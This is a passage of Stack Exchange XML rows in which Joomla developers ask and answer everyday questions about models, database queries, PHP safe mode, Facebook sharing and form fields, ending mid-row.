  <row Id="9740" PostTypeId="2" ParentId="9732" CreationDate="2015-04-30T06:42:13.300" Score="1" Body="&lt;p&gt;Instead of validating in loadFormData, you can think of overriding getItem() method of JModelAdmin class (in your model) to make it return an associative array instead of JObject.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Make sure you are making it public if you going to call it in view.html.php&#xA;&#xA;    public function getItem($pk = null)&#xA;    {&#xA;        $pk    = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState($this-&amp;gt;getName() . '.id');&#xA;        $table = $this-&amp;gt;getTable();&#xA;&#xA;        if ($pk &amp;gt; 0)&#xA;        {&#xA;            // Attempt to load the row.&#xA;            $return = $table-&amp;gt;load($pk);&#xA;&#xA;            // If you want you can load more result from another table and merge it here.&#xA;&#xA;            // Check for a table object error.&#xA;            if ($return === false)&#xA;            {&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        // Convert to the JObject before adding other data.&#xA;        $properties = $table-&amp;gt;getProperties(1);&#xA;        $item       = \Joomla\Utilities\ArrayHelper::toObject($properties, 'JObject');&#xA;&#xA;        if (property_exists($item, 'params'))&#xA;        {&#xA;            $registry     = new Registry;&#xA;            $registry-&amp;gt;loadString($item-&amp;gt;params);&#xA;            $item-&amp;gt;params = $registry-&amp;gt;toArray();&#xA;        }&#xA;&#xA;        // Here you can add custom data as follows:&#xA;&#xA;        $item-&amp;gt;custom_field = 'custom value';&#xA;&#xA;        $data = \Joomla\Utilities\ArrayHelper::fromObject($item);&#xA;&#xA;        return $data;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="3944" LastEditDate="2015-04-30T06:57:36.537" LastActivityDate="2015-04-30T06:57:36.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9741" PostTypeId="2" ParentId="9715" CreationDate="2015-04-30T10:20:40.677" Score="3" Body="&lt;p&gt;If you call &lt;code&gt;getItems&lt;/code&gt; method, then &lt;code&gt;populateState&lt;/code&gt; method is called, which overwrites &lt;code&gt;list.limit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;populateState&lt;/code&gt; method has a comment.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This method should only be called once per instantiation and is designed to be called on the first call to the getState() method unless the model configuration flag to ignore the request is set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, to deny calling &lt;code&gt;populateState&lt;/code&gt; automatically, simply add &lt;code&gt;ignore_request&lt;/code&gt; to &lt;code&gt;$config&lt;/code&gt; array (third variable in &lt;code&gt;JModelLegacy::getInstance&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array( 'ignore_request' =&amp;gt; true )); // add ignore_request&#xA;&#xA;$params = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $params); // Set params to avoid Fatal error&#xA;&#xA;$model-&amp;gt;setState('filter.category_id', 10); // Set category ID here&#xA;$model-&amp;gt;setState('list.limit', 0); // Remove limit&#xA;&#xA;$articles     = $model-&amp;gt;getItems();&#xA;&#xA;// getTotal result is already cached, just retrieve it&#xA;$num_articles = $model-&amp;gt;getTotal();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only need count of articles, you could and should use &lt;code&gt;JModelList&lt;/code&gt; method &lt;code&gt;getTotal&lt;/code&gt;, which is faster way to get results count.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = JModelLegacy::getInstance('Articles', 'ContentModel', array( 'ignore_request' =&amp;gt; true )); // add ignore_request&#xA;&#xA;$params = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $params); // Set params to avoid Fatal error&#xA;&#xA;$model-&amp;gt;setState('filter.category_id', 10); // Set category ID here&#xA;&#xA;// getTotal clears limit and offset, so setting list.limit to 0 is not needed&#xA;$num_articles = $model-&amp;gt;getTotal();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-30T11:25:25.560" LastActivityDate="2015-04-30T11:25:25.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9742" PostTypeId="1" AcceptedAnswerId="9747" CreationDate="2015-04-30T14:14:20.327" Score="0" ViewCount="195" Body="&lt;p&gt;I am Using latest Joomla 3.4 and Easy Like and Share Module. When I share anything to facebook, it doesn't fetch image, but fetch only title and image. It was working fine but it suddenly stopped today. I don't know what is wrong with it, however I have not changed anything in back-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Facebook debug tool and getting following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object at URL '&lt;a href=&quot;http://www.livemedia24.com/videos/7262-arrested-workers-of-mqm-are-also-workers-of-bjp-party-in-india-rao-anwar-ssp&quot; rel=&quot;nofollow&quot;&gt;http://www.livemedia24.com/videos/7262-arrested-workers-of-mqm-are-also-workers-of-bjp-party-in-india-rao-anwar-ssp&lt;/a&gt;' of type 'website' is invalid because the given value '' for property 'fb:app_id' could not be parsed as type 'fbid'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even put app id in Easy Like and Share Module but still facing same issue. I would appreciate if someone can help in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gzip is disable, I even cleared cache. &lt;/p&gt;&#xA;" OwnerUserId="1863" LastActivityDate="2015-04-30T16:57:53.257" Title="Facebook not fetching image while sharing" Tags="|joomla-3.4|facebook|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9744" PostTypeId="1" AcceptedAnswerId="9745" CreationDate="2015-04-30T15:10:22.503" Score="0" ViewCount="191" Body="&lt;p&gt;I get this error appear on my website&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: file_put_contents(): SAFE MODE Restriction in effect. The script whose uid is 10072 is not allowed to access /var/www/vhosts/pizzaholicheaton.co.uk/httpdocs/cache/com_virtuemart_cats owned by uid 502 in /var/www/vhosts/pizzaholicheaton.co.uk/httpdocs/libraries/joomla/cache/storage/file.php on line 384 &#xA;Warning: file_put_contents(/var/www/vhosts/pizzaholicheaton.co.uk/httpdocs/cache/com_virtuemart_cats/index.html): failed to open stream: No such file or directory in /var/www/vhosts/pizzaholicheaton.co.uk/httpdocs/libraries/joomla/cache/storage/file.php on line 384&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This appears on the front end and the back end (noticed it when making a category in VM3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a new site, I deleted all contents from old website, and put Joomla 2.5/VM3 on. I did have it in a sub folder, but decided to just copy it over the old site before I started. However I get this. I set all permissions to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read on the Joomla forum saying about caching, is this right? What should I do?&lt;/p&gt;&#xA;" OwnerUserId="3544" LastEditorUserId="168" LastEditDate="2015-04-30T15:11:06.630" LastActivityDate="2015-04-30T15:16:30.670" Title="Safe Mode Restriction - what is this and how can I solve the issue?" Tags="|joomla-2.5|virtuemart|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9745" PostTypeId="2" ParentId="9744" CreationDate="2015-04-30T15:16:30.670" Score="2" Body="&lt;p&gt;It's not a chmod permissions issue, but an issue with your server. Hosting providers sometimes enable safe mode on shared hosting environments to prevent you from screwing up thing for other users on the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Safe mode was deprecated in PHP 5.3 and removed in 5.4 I believe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to your &lt;em&gt;php.ini&lt;/em&gt; file, you simply need to disable it like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;safe_mode = Off&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else will need to ask your hosting provider to disable it&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-30T15:16:30.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9746" PostTypeId="1" AcceptedAnswerId="9752" CreationDate="2015-04-30T16:39:26.477" Score="0" ViewCount="315" Body="&lt;p&gt;Its seams my Mass mail button is gone. &#xA;User&gt;Mass Mail is missing, Is there a way to re install it?&#xA;Searched the web and didn't found anything.  &lt;/p&gt;&#xA;" OwnerUserId="4114" LastActivityDate="2015-04-30T18:57:59.707" Title="Joomla Mass Mail" Tags="|joomla-3.x|emails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9747" PostTypeId="2" ParentId="9742" CreationDate="2015-04-30T16:57:53.257" Score="1" Body="&lt;p&gt;According to Facebook Debug, it is fetching an image now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.livemedia24.com%2Fvideos%2F7262-arrested-workers-of-mqm-are-also-workers-of-bjp-party-in-india-rao-anwar-ssp&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.livemedia24.com%2Fvideos%2F7262-arrested-workers-of-mqm-are-also-workers-of-bjp-party-in-india-rao-anwar-ssp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** og:image ** =&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fbexternal-a.akamaihd.net/safe_image.php?d=AQCOFTCb1Rf803Ux&amp;amp;url=http%3A%2F%2Fwww.livemedia24.com%2Fmedia%2Fcom_hwdmediashare%2Ffiles%2Fd0%2F7a%2Fcd%2Fdd5062cf4323359b68cc783453f35518.jpg&quot; rel=&quot;nofollow&quot;&gt;https://fbexternal-a.akamaihd.net/safe_image.php?d=AQCOFTCb1Rf803Ux&amp;amp;url=http%3A%2F%2Fwww.livemedia24.com%2Fmedia%2Fcom_hwdmediashare%2Ffiles%2Fd0%2F7a%2Fcd%2Fdd5062cf4323359b68cc783453f35518.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-30T16:57:53.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9748" PostTypeId="1" AcceptedAnswerId="9749" CreationDate="2015-04-30T17:24:32.047" Score="0" ViewCount="672" Body="&lt;p&gt;The table &lt;strong&gt;#__virtuemart_order_histories&lt;/strong&gt; stores the orders with their &lt;strong&gt;virtuemart_order_id&lt;/strong&gt;s and every order has the records with their own &lt;strong&gt;virtuemart_order_history_id&lt;/strong&gt;s. I need to update the latest record in the range of certain order. Now I have the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$order_id = 1028;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$fields = array($db-&amp;gt;quoteName('order_status_code') . &quot; = &quot; . $db-&amp;gt;quote('U'));&#xA;$conditions = array($db-&amp;gt;quoteName('virtuemart_order_id') . &quot; = &quot; . $order_id);&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__virtuemart_order_histories'))-&amp;gt;set($fields)-&amp;gt;where($conditions)-&amp;gt;order($db-&amp;gt;quoteName('virtuemart_order_history_id') . ' DESC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work how I need — it updates ALL the records of certain order and not only the latest one. How should I specify the condition of getting only the latest record?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-30T17:31:04.333" LastActivityDate="2015-05-01T19:54:20.883" Title="How to update the latest row in MySQL table" Tags="|joomla-2.5|joomla-api|database|mysql|update|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9749" PostTypeId="2" ParentId="9748" CreationDate="2015-04-30T18:35:46.847" Score="1" Body="&lt;p&gt;Use limit to run on first row found. Since you order it by &lt;code&gt;virtuemart_order_history_id&lt;/code&gt;, it will be latest record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query, 0, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second argument is &lt;code&gt;$offset&lt;/code&gt;, third is &lt;code&gt;$limit&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-05-01T06:21:29.307" LastActivityDate="2015-05-01T06:21:29.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9751" PostTypeId="2" ParentId="9748" CreationDate="2015-04-30T18:52:32.023" Score="2" Body="&lt;p&gt;There are two ways which you can do database independent way (Joomla recommended).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Set limit on query (works with Joomla 3.x only)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;setLimit($limit, $offset);&#xA;e.g. $query-&amp;gt;setLimit(1, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;B. Set limit while assigning query to db object (Works with Joomla 2.5 &amp;amp; 3.x)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query, $offset, $limit);&#xA;e.g. $db-&amp;gt;setQuery($query, 0, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-01T19:54:20.883" LastActivityDate="2015-05-01T19:54:20.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9752" PostTypeId="2" ParentId="9746" CreationDate="2015-04-30T18:57:59.707" Score="1" Body="&lt;p&gt;There is a new security setting added in Joomla 3.x using which you can disable Mass Mailing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable Mass Mailing:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to System -&gt; Global Configuration -&gt; Server Tab &lt;/li&gt;&#xA;&lt;li&gt;In Mail Settings tab set No to &quot;Disable Mass Mail&quot; option.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-04-30T18:57:59.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9754" PostTypeId="1" CreationDate="2015-04-30T23:44:06.263" Score="0" ViewCount="150" Body="&lt;p&gt;I have Joomla 3 installed on my host and am building my site. When I try to go to my site, I get 404 not found. Joomla has added /joomla30 to my site and must be added in order to access my website. How can I change this?&lt;/p&gt;&#xA;" OwnerUserId="4132" LastEditorUserId="1538" LastEditDate="2015-05-01T08:17:35.430" LastActivityDate="2015-05-03T15:51:28.660" Title="Joomla adds /joomla30 to my website" Tags="|joomla-3.x|url|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9755" PostTypeId="2" ParentId="9698" CreationDate="2015-05-01T03:39:18.253" Score="1" Body="&lt;p&gt;Try using popular extension like Falang.  It will not duplicate any of your article while translating the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/falang&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extension/falang&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2233" LastActivityDate="2015-05-01T03:39:18.253" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9756" PostTypeId="2" ParentId="9711" CreationDate="2015-05-01T05:08:51.140" Score="1" Body="&lt;p&gt;Here is the method I used to upload file using jQuery Form plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to set form enctype to allow file uploads.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;form1&quot; method=&quot;post&quot; &#xA; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_myapp&amp;amp;task=mycontroller.upload');?&amp;gt;&quot; &#xA; id=&quot;form1&quot; &#xA; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;&#xA; &amp;lt;input type=&quot;file&quot; name=&quot;myFile&quot;&amp;gt;&#xA; ....&#xA; ....&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then use JavaScript to upload on click of some button. for eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#btn-upload-file').click(function(){&#xA;&#xA;  // do some preprocessing stuff like validations&#xA;  ....&#xA;&#xA;  // now upload&#xA;  jQuery('#form1').ajaxSubmit({&#xA;    type            : 'POST',&#xA;    dataType        : 'json',&#xA;    success     : function(data, status, xhr, jqForm){&#xA;      //do post upload stuff&#xA;    }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your component controller function.&#xA;use $app-&gt;close() to send raw json response after upload&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'Upload Success';&#xA;$app = JFactory::getApplication();&#xA;$app-&amp;gt;close();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-01T05:40:26.873" LastActivityDate="2015-05-01T05:40:26.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9757" PostTypeId="1" AcceptedAnswerId="9760" CreationDate="2015-05-01T10:18:48.107" Score="2" ViewCount="68" Body="&lt;p&gt;I'm developing a component in which I'm taking the value from a user in the backend using an edit form, but when I type my 10 digit mobile number in the field, it automatically converts it into different a digit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see what I'm doing wrong in my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tel Field In XML File: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;tel&quot; &#xA;    type=&quot;text&quot; &#xA;    class=&quot;inputbox&quot;&#xA;    label=&quot;COM_STUDENT_FORM_LBL_STUDENT_TEL&quot;&#xA;    description=&quot;COM_STUDENT_FORM_DESC_STUDENT_TEL&quot;&#xA;    required=&quot;true&quot; &#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tel field in edit.php (layout file)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('tel'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('tel'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;bind&lt;/code&gt; function in the table does not contain the &lt;code&gt;tel&lt;/code&gt; field for further processing in the Database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table Field have given property &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Name=tel&#xA;type=int(11)&#xA;default= none &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="126" LastEditDate="2016-01-21T22:54:03.247" LastActivityDate="2016-01-21T22:54:03.247" Title="Saving mobile no in database save filtered no" Tags="|joomla-3.x|joomla-2.5|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9759" PostTypeId="2" ParentId="4282" CreationDate="2015-05-01T17:51:37.803" Score="1" Body="&lt;p&gt;Both Above answers using the plugin or .htaccess file are valid.(I like the .htaccess myself, more universal) The comment about the Joomla Menu Manager Metadata property may give people a false sense of security: While it does indeed make the LINK go to https, it doesn't force it if you visit the page with regular &quot;http&quot; allowing the data to be sent unencrypted. With security data, I would not relay on the metadata Secure menu if the data really needs to be secure. &lt;/p&gt;&#xA;" OwnerUserId="4173" LastActivityDate="2015-05-01T17:51:37.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9760" PostTypeId="2" ParentId="9757" CreationDate="2015-05-01T19:09:57.753" Score="3" Body="&lt;p&gt;There's nothing wrong in your code, rather your table definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Max range of INT in MySQL is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-2147483648 to 2147483647&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So instead of using INT for your table field, use BIGINT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details about integer data types can be found here:&#xA;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.1/en/integer-types.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.1/en/integer-types.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-01T19:17:22.480" LastActivityDate="2015-05-01T19:17:22.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9761" PostTypeId="2" ParentId="208" CreationDate="2015-05-02T00:11:32.070" Score="-3" Body="&lt;p&gt;This can be done with a language override now, Avoiding overwriting your hacks when you upgrade K2.&#xA;Look for the constant K2_DATE_FORMAT_LC&lt;/p&gt;&#xA;" OwnerUserId="4174" LastActivityDate="2015-05-02T00:11:32.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9763" PostTypeId="2" ParentId="9556" CreationDate="2015-05-02T07:12:07.127" Score="2" Body="&lt;p&gt;Using Brian's answer (thanks very much @Brian Bolli) and this post - &lt;a href=&quot;https://stackoverflow.com/questions/19323010/execute-php-function-with-onclick&quot;&gt;https://stackoverflow.com/questions/19323010/execute-php-function-with-onclick&lt;/a&gt; - I figured out how to make the link load a page with the message at the top. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link's code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php/animals?multiple=true&quot; title=&quot;Add multiple animals to mob&quot;&amp;gt;&amp;lt;i class=&quot;icon-plus &quot;&amp;gt;&amp;lt;/i&amp;gt;Add multiple animals&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is passing a variable to the page I want to load in the url called multiple and it is set to true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the page template that loads, the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_GET['multiple'])) :&#xA;    $msg = 'Very helpful message';&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'message'); &#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is checking to see if the variable has been set and then if so, it will display the message I want. &lt;/p&gt;&#xA;" OwnerUserId="4097" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-02T07:12:07.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9766" PostTypeId="2" ParentId="9754" CreationDate="2015-05-02T09:23:32.663" Score="2" Body="&lt;p&gt;This is probably due to the name of the folder. If you have joomla inside, for example: root/joomla30/ and you didn't configure anything yet, then you will surely be able to get to joomla only by typing &lt;a href=&quot;http://mywebsite.com/joomla30&quot; rel=&quot;nofollow&quot;&gt;http://mywebsite.com/joomla30&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a complete installation, you will be able to redirect joomla30 to anythingyouwant using your .htaccess file.&lt;/p&gt;&#xA;" OwnerUserId="3530" LastEditorUserId="3530" LastEditDate="2015-05-03T10:34:26.630" LastActivityDate="2015-05-03T10:34:26.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9768" PostTypeId="1" AcceptedAnswerId="9769" CreationDate="2015-05-02T12:01:01.057" Score="1" ViewCount="916" Body="&lt;p&gt;This might a simple question, I've Model State variable set in my Model. When I &quot;print_r&quot; it in view. It provides following output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JObject Object&#xA;(&#xA;    [_errors:protected] =&amp;gt; Array&#xA;        (&#xA;        )&#xA;&#xA;    [task] =&amp;gt; &#xA;    [request.id] =&amp;gt; 3&#xA;    [params] =&amp;gt; Joomla\Registry\Registry Object&#xA;        (&#xA;            [data:protected] =&amp;gt; stdClass Object&#xA;                (&#xA;                    [path] =&amp;gt; /media/com_helpdesk/files/&#xA;                )&#xA;&#xA;            [separator] =&amp;gt; .&#xA;        )&#xA;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can access 'task', 'params' variable in my view.html.php as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;get('State')-&amp;gt;params&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my question is, How can I access &quot;request.id&quot; variable in similar way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;code&gt;echo $this-&amp;gt;get('State')-&amp;gt;request.id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Above is (of course) not working due to additional &quot;. (dot)&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this question is not duplicate of &lt;a href=&quot;https://joomla.stackexchange.com/questions/3854/from-the-model-how-i-can-access-the-data-retrieved-in-the-view&quot;&gt;From the model, how I can access the data retrieved in the view?&lt;/a&gt; as I am trying to print variable with &quot;dot&quot; operator&lt;/p&gt;&#xA;" OwnerUserId="2233" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-02T16:57:21.617" Title="Access Model State Variable in View" Tags="|joomla-3.x|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9769" PostTypeId="2" ParentId="9768" CreationDate="2015-05-02T16:57:21.617" Score="2" Body="&lt;p&gt;You should use get function of the state object (object of JObject class)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$state = $this-&amp;gt;get('State');&#xA;$requestId = $state-&amp;gt;get('request.id', 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;second parameter is default value to return in case no value exist in state object with given first parameter.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-02T16:57:21.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9770" PostTypeId="1" CreationDate="2015-05-02T17:27:44.920" Score="1" ViewCount="96" Body="&lt;p&gt;I am using Nooku framework and Joomla CMS and MySQL database to create an application , and I need to retrieve a certain data from another table into the dropdownmenu of my table , using Nooku Framework , Model Part &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference in Nooku is that request aren't written in SQL way , and so i want to know if you please how can i write this request : &#xA;&quot;SELECT DISTINCT Libelle_Pays from a3n4v_sgrmre_reclamations r, a3n4v_sgrmre_pays p where r.Code_Pays = p.code_pays&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="4147" LastActivityDate="2015-05-21T09:42:18.383" Title="Nooku Request Problem" Tags="|joomla-3.x|php|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9772" PostTypeId="1" CreationDate="2015-05-02T21:59:51.847" Score="1" ViewCount="913" Body="&lt;p&gt;In my component I'm creating custom fields, allowing the admin to create their own field for a particular form.&lt;/p&gt;&#xA;&lt;p&gt;I am facing a problem on displaying a radio button using bootstrap &lt;code&gt;btn-group&lt;/code&gt; class.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code I'm injecting to a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; container using AJAX.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;&#xA;   &amp;lt;div class=&amp;quot;control-label&amp;quot;&amp;gt;&#xA;   &amp;lt;label id=&amp;quot;jform_field_19-lbl&amp;quot; for=&amp;quot;jform_field_19&amp;quot;&amp;gt;Interested&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&amp;quot;controls&amp;quot;&amp;gt;&#xA;  &amp;lt;fieldset id=&amp;quot;jform_field_19&amp;quot; class=&amp;quot;radio  btn-group &amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;radio&amp;quot; id=&amp;quot;jform_field_19_1&amp;quot; name=&amp;quot;jform[field_19]&amp;quot; 